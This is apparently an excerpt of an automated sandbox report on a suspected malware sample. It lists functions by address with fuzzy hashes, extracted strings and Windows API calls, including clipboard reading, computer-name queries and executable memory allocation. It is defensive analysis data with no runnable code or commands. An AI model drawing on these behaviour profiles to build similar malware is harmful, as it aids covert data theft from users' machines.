Opcode Fuzzy Hash: a525d3b901aab37e805287b5fe7f45e91ed26bae2eb08f4b056ac6a42eabfecf
Instruction Fuzzy Hash: E64148B4210B008BD729CF15C890B27F7F2FF49315F589A1DD4968BA95CB78E4168B89

Uniqueness

Uniqueness Score: -1.00%

Function 00437998 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ac606fa896dbfc20e0858d286959e527960311e6db785cbe9c751ee3dc681b9
Instruction ID: c35e6b3492bc7fc63c5e4d94200a91186c139317177be3ffd343f9b61624e557
Opcode Fuzzy Hash: 7ac606fa896dbfc20e0858d286959e527960311e6db785cbe9c751ee3dc681b9
Instruction Fuzzy Hash: 4E5156B0244B008FE3348F15C894B17B7F2EB49318F649A1DD4A29BB95C778F9058B88

Uniqueness

Uniqueness Score: -1.00%

Function 0041210C Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13eac76ea8d3fd39f0c83d84732ee0ae87b3b7a133187896b959945c85a3b65a
Instruction ID: ca850fd041728cb81bae71f088373bc471964c8ad35e0faae0c370fe9a2fbc17
Opcode Fuzzy Hash: 13eac76ea8d3fd39f0c83d84732ee0ae87b3b7a133187896b959945c85a3b65a
Instruction Fuzzy Hash: 5831B271A00B018FC725CF35C8817A7B7E2FB89314F188A2ED1AAC3791E778E4818B45

Uniqueness

Uniqueness Score: -1.00%

Function 00410565 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8646d0b6c90f403e1a8a630bed48f489923bff8176b96a56545a554dce1654f
Instruction ID: ea6735051b580764b1b091c7d8751f59caf218b0077db567d50405ba04e5f90f
Opcode Fuzzy Hash: a8646d0b6c90f403e1a8a630bed48f489923bff8176b96a56545a554dce1654f
Instruction Fuzzy Hash: 8CE092397006004BC658AB30D89267B736397C6300F0C143CD447A33A2CE78B8818A49

Uniqueness

Uniqueness Score: -1.00%

Function 004286B8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8d40ba8103fe54fbe292f7b0286ae1ba72782342e545eadd221858701af8b18
Instruction ID: fb33a21c909e12981a6b8ef3dc275bf6d2761d5d6d7fe25341320a66258a9d40
Opcode Fuzzy Hash: a8d40ba8103fe54fbe292f7b0286ae1ba72782342e545eadd221858701af8b18
Instruction Fuzzy Hash: 1BF0AC745093408FC324DF25C55575ABBF0FB8D304F81892DD59A8B291D778A904CF86

Uniqueness

Uniqueness Score: -1.00%

Function 0368003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0368024D

Strings

cess, xrefs: 0368018D
kernel32.dll, xrefs: 0368008F, 03680095

Memory Dump Source

Source File: 00000000.00000002.1839528025.0000000003680000.00000040.00001000.00020000.00000000.sdmp, Offset: 03680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3680000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: bcc6d3b164bba31253f78a5e7a2f88631263934e24587a7d11c328863e6e84a2
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 6D527AB4A01229DFDB64CF58C984BACBBB1BF09304F1485D9E54DAB351DB30AA89CF15

Uniqueness

Uniqueness Score: -1.00%

Function 00427C0B Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 72
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 00427D72

Strings

3, xrefs: 00427C3B
:, xrefs: 00427C4B
%, xrefs: 00427C7B
;, xrefs: 00427C8B
6, xrefs: 00427C9B
!, xrefs: 00427C6B

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AllocString
String ID: !$%$3$6$:$;
API String ID: 2525500382-3001093237
Opcode ID: 33183d01ceb5a524f0c18bbdcc2b8a0325e2adc34bd19612829b3e5eac2fea1f
Instruction ID: 1a39169d67010728743755bad08802f9e09bd0e4855d95ec92bb4768922a02a3
Opcode Fuzzy Hash: 33183d01ceb5a524f0c18bbdcc2b8a0325e2adc34bd19612829b3e5eac2fea1f
Instruction Fuzzy Hash: E641353010C7C58AD33ACA28C4997DFBFE25BD6314F084A5CE1E94A2C2C3B9464AC757

Uniqueness

Uniqueness Score: -1.00%

Function 0041E6A0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,00000000,?), ref: 0041E7CB
RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,?,?), ref: 0041E7FA

Strings

JE, xrefs: 0041E72B
mz, xrefs: 0041E820
N, xrefs: 0041E828

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: JE$N$mz
API String ID: 237503144-108684729
Opcode ID: 03d5809357e3963816daa3459d23f7a23414702b53542c1c910962c249b0d0e7
Instruction ID: d4eb9d248d4042ffda66fec7adb5be2df31ff8f7ed8dd41437f0ba620aed1879
Opcode Fuzzy Hash: 03d5809357e3963816daa3459d23f7a23414702b53542c1c910962c249b0d0e7
Instruction Fuzzy Hash: BB5151B4108341AFD310CF02C895B4BBBE5EBC6754F108E1DF8A45B391D779D9858B96

Uniqueness

Uniqueness Score: -1.00%

Function 004248C4 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 610
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000200), ref: 00424D2D
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 00424E28

Strings

<VXp, xrefs: 0042498E

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ComputerName
String ID: <VXp
API String ID: 3545744682-3522128999
Opcode ID: ceb7df71cc771084bf12d3982bfc6851ab6c604ce51aaaf5532dc42f773fec6f
Instruction ID: 6299c964a3fce0bafc53ea5c8286f28257e6a63a241fb0224b927437de5add70
Opcode Fuzzy Hash: ceb7df71cc771084bf12d3982bfc6851ab6c604ce51aaaf5532dc42f773fec6f
Instruction Fuzzy Hash: DC32FE70204B918AE725CF34C8647E3BBE1EF57309F98495EC4EB9B282C7796446CB64

Uniqueness

Uniqueness Score: -1.00%

Function 004248C7 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 602
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

<VXp, xrefs: 0042498E

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: <VXp
API String ID: 0-3522128999
Opcode ID: aa472b181c25ef4c7ff1b41997715be3b6fc59769e2fc03377bffbd232bba362
Instruction ID: 39380498e3301fda940bb2c750f98dbafe3cac41602dcf564c309bbfc5931e86
Opcode Fuzzy Hash: aa472b181c25ef4c7ff1b41997715be3b6fc59769e2fc03377bffbd232bba362
Instruction Fuzzy Hash: C822FF70204B918AE725CF34C8647E3BBE1EF57305F98495EC4EB9B282C7796446CB64

Uniqueness

Uniqueness Score: -1.00%

Function 004252A4 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 458
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

zrHu, xrefs: 00425BB0
(VDn, xrefs: 00425BA6

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: (VDn$zrHu
API String ID: 0-2980758696
Opcode ID: 379f5229f73699a554116ef83f101bc97f7cbfca640173dcc043b3cc4881a05d
Instruction ID: 6abb5f54dd02d2df8b74713aa4eba05006bae67069e8e73d66e3ac6d0c001b4f
Opcode Fuzzy Hash: 379f5229f73699a554116ef83f101bc97f7cbfca640173dcc043b3cc4881a05d
Instruction Fuzzy Hash: 67F18A70604F808BE726CF35C4A47E7BBE1AF56304F88495EC4EA9B792C779A406CB44

Uniqueness

Uniqueness Score: -1.00%

Function 0042E3EF Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 110
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SelectObject.GDI32 ref: 0042E437
SelectObject.GDI32 ref: 0042E4B9

Strings

, xrefs: 0042E486

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ObjectSelect
String ID:
API String ID: 1517587568-3916222277
Opcode ID: e0dffe2799290b1325598bf0a61f6d8834782f29a839223cc3ea3d362ac7b798
Instruction ID: 64c2dd33f56547eeba0a9756c00d89cd855ce22edeb25e2eb396533884e40186
Opcode Fuzzy Hash: e0dffe2799290b1325598bf0a61f6d8834782f29a839223cc3ea3d362ac7b798
Instruction Fuzzy Hash: 7D515CB8605B008FC364DF28D595A16BBF1FB89300F508A6DE98A8BB60D731F845CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00408DF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 00408E60

Strings

often in other is that on their similarity resemblance system or of on replacements the reflection used ways or it internet. uses play of spellings primarily eleet leetspeak, the character via modified a glyphs, xrefs: 00408E26

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExitProcess
String ID: often in other is that on their similarity resemblance system or of on replacements the reflection used ways or it internet. uses play of spellings primarily eleet leetspeak, the character via modified a glyphs
API String ID: 621844428-3137510881
Opcode ID: fa5aabe4ad16cf67e7d547b67a197814e7e1d1e69f37924dfa70f4ebd1137123
Instruction ID: 2fd8b006e3b76f4afec7b1faa4642abc4b02275d11bc394f33c7f760dc90e6d3
Opcode Fuzzy Hash: fa5aabe4ad16cf67e7d547b67a197814e7e1d1e69f37924dfa70f4ebd1137123
Instruction Fuzzy Hash: 8BF06D7040C601CAD600BB61C705269B7A06F14328F20593FE8CAE12C0DF3C8486AADF

Uniqueness

Uniqueness Score: -1.00%

Function 00437E48 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 90libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(?), ref: 00437FA3

Strings

gRI, xrefs: 00437F00

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: LibraryLoad
String ID: gRI
API String ID: 1029625771-894747221
Opcode ID: b924395998ae65e34cc97e97e49c83ced36f9783127f8a86a70ad9b629d00132
Instruction ID: 2a4b3bc33ec7130f718fa133b8f83357076008803d7a7ff669a68a4f6503176c
Opcode Fuzzy Hash: b924395998ae65e34cc97e97e49c83ced36f9783127f8a86a70ad9b629d00132
Instruction Fuzzy Hash: 734118B41047428BD328CF29C590B13FBB1BF49304F189A9DD4928FB56C334E58ADB98

Uniqueness

Uniqueness Score: -1.00%

Function 004241EB Relevance: 3.6, APIs: 2, Instructions: 582COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000200), ref: 00424D2D
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 00424E28

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: df82d550106a5831d78f12e269e3e0b91f16142a182fe8660f2375e7ed7413ff
Instruction ID: 15930a0e3456c2de96117bffaec9bf70862991a15f3db32a0408bad3ef46fb91
Opcode Fuzzy Hash: df82d550106a5831d78f12e269e3e0b91f16142a182fe8660f2375e7ed7413ff
Instruction Fuzzy Hash: DC22BD70204B918BE725CF34C8947E3BBE1AF56304F98495ED4EB9B782C779A406CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00435AA0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 00435B47

Strings

f543, xrefs: 00435B08

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AllocateHeap
String ID: f543
API String ID: 1279760036-424919641
Opcode ID: 6cbb3d75488a68f00f06e546b757858c8eccb469aa893b84ba7841f44e1abc9f
Instruction ID: 06c2186eef59e94b595ca09588689556934a3fe7b1df8413d19f3e3cff029a90
Opcode Fuzzy Hash: 6cbb3d75488a68f00f06e546b757858c8eccb469aa893b84ba7841f44e1abc9f
Instruction Fuzzy Hash: 3D1148741083019FD708CF14C464B6BBBA2EBC5328F248A1CE8A50B791C77AD915CBC2

Uniqueness

Uniqueness Score: -1.00%

Function 00433D05 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00433D3A

Strings

\, xrefs: 00433D05

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: InformationVolume
String ID: \
API String ID: 2039140958-2967466578
Opcode ID: 97d75a674a5be829cde8a03888e8111a6af89568cd531833de46cd4d18545e80
Instruction ID: 4293fc51c427d059e8a1900740c0d841a4927f035155755a6a86f4fc830b078c
Opcode Fuzzy Hash: 97d75a674a5be829cde8a03888e8111a6af89568cd531833de46cd4d18545e80
Instruction Fuzzy Hash: 7FE04F75285701BBF328CF10ED23F2A32A59B45B05F20442DB306EA1D1D7B4B915CA6D

Uniqueness

Uniqueness Score: -1.00%

Function 0041DE00 Relevance: 3.2, APIs: 2, Instructions: 215COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 0041DF06
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 0041DF31

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 4429e528902b6959771bdd2832947410f763d0ee0b9aaf0d96c237b5a8ace8fb
Instruction ID: 7cd1955bb7ff4877b61add733c5008b9238defc5a30e4e77b50cb4d3de39835c
Opcode Fuzzy Hash: 4429e528902b6959771bdd2832947410f763d0ee0b9aaf0d96c237b5a8ace8fb
Instruction Fuzzy Hash: 21619D756083518FE324CF15C890BABB7E1EFCA318F014A1DE8D95B281D7789A46CB97

Uniqueness

Uniqueness Score: -1.00%

Function 0042DFB8 Relevance: 3.1, APIs: 2, Instructions: 123COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL ref: 0042E066
GetSystemMetrics.USER32 ref: 0042E077

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CallbackDispatcherMetricsSystemUser
String ID:
API String ID: 365337688-0
Opcode ID: a910ae7a2649babda8153f224d949615ec8b62e997d32fa7a6b3b09d989dad0e
Instruction ID: ec370dcdc0dee2e7242882cc56310c6ee9e1b245d348888234485e317814ae48
Opcode Fuzzy Hash: a910ae7a2649babda8153f224d949615ec8b62e997d32fa7a6b3b09d989dad0e
Instruction Fuzzy Hash: 0A515DB4A10B009FD364DF2DD981A26BBF5FB49704B10492DE98AC7B60D631F845CB96

Uniqueness

Uniqueness Score: -1.00%

Function 03680E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000400,?,?,03680223,?,?), ref: 03680E19
SetErrorMode.KERNELBASE(00000000,?,?,03680223,?,?), ref: 03680E1E

Memory Dump Source

Source File: 00000000.00000002.1839528025.0000000003680000.00000040.00001000.00020000.00000000.sdmp, Offset: 03680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3680000_file.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 72ef8af79f50cd72626f8a866139c364297ceb20aa29a65e67ef4d2165fa9540
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 19D0123114512877D7003B94DC0DBCEBB1CDF09B62F048411FB0DD9180C770954046E5

Uniqueness

Uniqueness Score: -1.00%

Function 004394EC Relevance: 1.5, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(00000000,00000000), ref: 00439575

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: bf3e3f96053bca1849cd9bffeedf92de85d467ab460f6b04e012a5cbc12d61f1
Instruction ID: 1d8b2ebf96d1ba174666c76c8533ac1a669530b6b8cb3b7a98fa5c82265e6ac1
Opcode Fuzzy Hash: bf3e3f96053bca1849cd9bffeedf92de85d467ab460f6b04e012a5cbc12d61f1
Instruction Fuzzy Hash: 7801D7701083409FE318CF10D464B6FFBE1EBC5728F209A1DE4A91B681C3B9D959CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 0041860C Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 00418638

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 8fbd10a75e567c23622f6f1f1af2b8b55c0af1b8ad70b396d9a66fe143293182
Instruction ID: eb8c1c7914f9d0c13229cf9ff11979a1d61f9c5fd9cbf3551faf471138ca6978
Opcode Fuzzy Hash: 8fbd10a75e567c23622f6f1f1af2b8b55c0af1b8ad70b396d9a66fe143293182
Instruction Fuzzy Hash: 1CF02EBA900200AFDA20DF25CC05E2337A8EB85324B00882DF26BC3291EB30E410DB04

Uniqueness

Uniqueness Score: -1.00%

Function 01CBF3DD Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 01CBF42E

Memory Dump Source

Source File: 00000000.00000002.1838816831.0000000001CBE000.00000040.00000020.00020000.00000000.sdmp, Offset: 01CBE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cbe000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 53298ae4c2abd32984220e13f4802541fa1571fed4b770010cbbf4cc19c66fa9
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: DF112B79A00208FFDB01DF98C985E98BBF5AF08350F158094F9489B361D375EA50EF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0042D8F0 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 155clipboardCOMMON

Download Yara Rule

APIs

GetWindowInfo.USER32 ref: 0042D94C
OpenClipboard.USER32 ref: 0042D95E
GetClipboardData.USER32 ref: 0042D97D
CloseClipboard.USER32 ref: 0042DAAF

Strings

c, xrefs: 0042D9E5
l, xrefs: 0042DA09
a, xrefs: 0042D9F5
b, xrefs: 0042D9ED
c, xrefs: 0042DA05
n, xrefs: 0042DA01

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Clipboard$CloseDataInfoOpenWindow
String ID: a$b$c$c$l$n
API String ID: 2278096442-2118919457
Opcode ID: 64775b5eaf4b6f3b9d3a5648747dfa61d183d83a94ea54748d631ebe41212b84
Instruction ID: f32526a2b7493747e302e038e132543e99afde457dca7fc2a9710eba875402e9
Opcode Fuzzy Hash: 64775b5eaf4b6f3b9d3a5648747dfa61d183d83a94ea54748d631ebe41212b84
Instruction Fuzzy Hash: 26517EB0908B80CFC720DF38D485A16BBF1AB15314F148A6DE8D68B796D739E446CB66

Uniqueness

Uniqueness Score: -1.00%

Function 0369591D Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 488COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 0369595F
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 03695995
RtlExpandEnvironmentStrings.NTDLL(00000000,2F8B2D9A,?,00000000,00000000,?), ref: 03695CBF
RtlExpandEnvironmentStrings.NTDLL(00000000,2F8B2D9A,?,00000000,?,?), ref: 03695D04

Strings

VSB, xrefs: 03695B25

Memory Dump Source

Source File: 00000000.00000002.1839528025.0000000003680000.00000040.00001000.00020000.00000000.sdmp, Offset: 03680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3680000_file.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: VSB
API String ID: 237503144-2654250299
Opcode ID: 42af359a222c5161f70fb859cd19a903b14d8ab4fd0dfb036164610f8498505b
Instruction ID: 104a6465a0665e1fa9be3bce132cb10bcdeeaa2a5e549ac891e4ed31e3e2f588
Opcode Fuzzy Hash: 42af359a222c5161f70fb859cd19a903b14d8ab4fd0dfb036164610f8498505b
Instruction Fuzzy Hash: 29F19EB5900B01AFD725CF29C842B63BBF9FF4A314F14461DE8AA8B790E371A411CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00426097 Relevance: 7.1, Strings: 5, Instructions: 837COMMON

Download Yara Rule

Strings

A^Y[, xrefs: 00426AF3
UUC\, xrefs: 00426AFA
MVVS, xrefs: 00426AE5
kJMO, xrefs: 00426BE0
7452, xrefs: 0042672B

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: 7452$A^Y[$MVVS$UUC\$kJMO
API String ID: 0-3157732848
Opcode ID: b5052e699182a1a0a308292b471bdefcab18d731424f3935f2db044417b9ce16
Instruction ID: 855735e6d1ad8dab1ee178d7f2696252d8d8baabb8e7f5f75f29c0cf4dda7a31
Opcode Fuzzy Hash: b5052e699182a1a0a308292b471bdefcab18d731424f3935f2db044417b9ce16
Instruction Fuzzy Hash: 2B52BE70204B918BD339CF29D094767BBE1BF56304F944A6EC4E78BB91C779A40ACB58

Uniqueness

Uniqueness Score: -1.00%

Function 036A62FE Relevance: 7.1, Strings: 5, Instructions: 837COMMON

Download Yara Rule

Strings

MVVS, xrefs: 036A6D4C
7452, xrefs: 036A6992
A^Y[, xrefs: 036A6D5A
UUC\, xrefs: 036A6D61
kJMO, xrefs: 036A6E47

Memory Dump Source

Source File: 00000000.00000002.1839528025.0000000003680000.00000040.00001000.00020000.00000000.sdmp, Offset: 03680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3680000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 7452$A^Y[$MVVS$UUC\$kJMO
API String ID: 0-3157732848
Opcode ID: 08fb9053458d0069092ab075ac869d68a8945f95c6ad2078fbf6478a2e09a0e2
Instruction ID: a53812aab6101fd534c9218cd674d0317fc5d299d1c13912be8d7faf54d5626f
Opcode Fuzzy Hash: 08fb9053458d0069092ab075ac869d68a8945f95c6ad2078fbf6478a2e09a0e2
Instruction Fuzzy Hash: C8527970604B818BD339CF29C194766FBE2BF56304F588A6DC4E78BB91C775A80ACB54

Uniqueness

Uniqueness Score: -1.00%

Function 03684937 Relevance: 5.5, Strings: 4, Instructions: 506COMMON

Download Yara Rule

Strings

IEND, xrefs: 03684E66
), xrefs: 036849C5
IHDR, xrefs: 03684D7D
IDAT, xrefs: 03684DEE

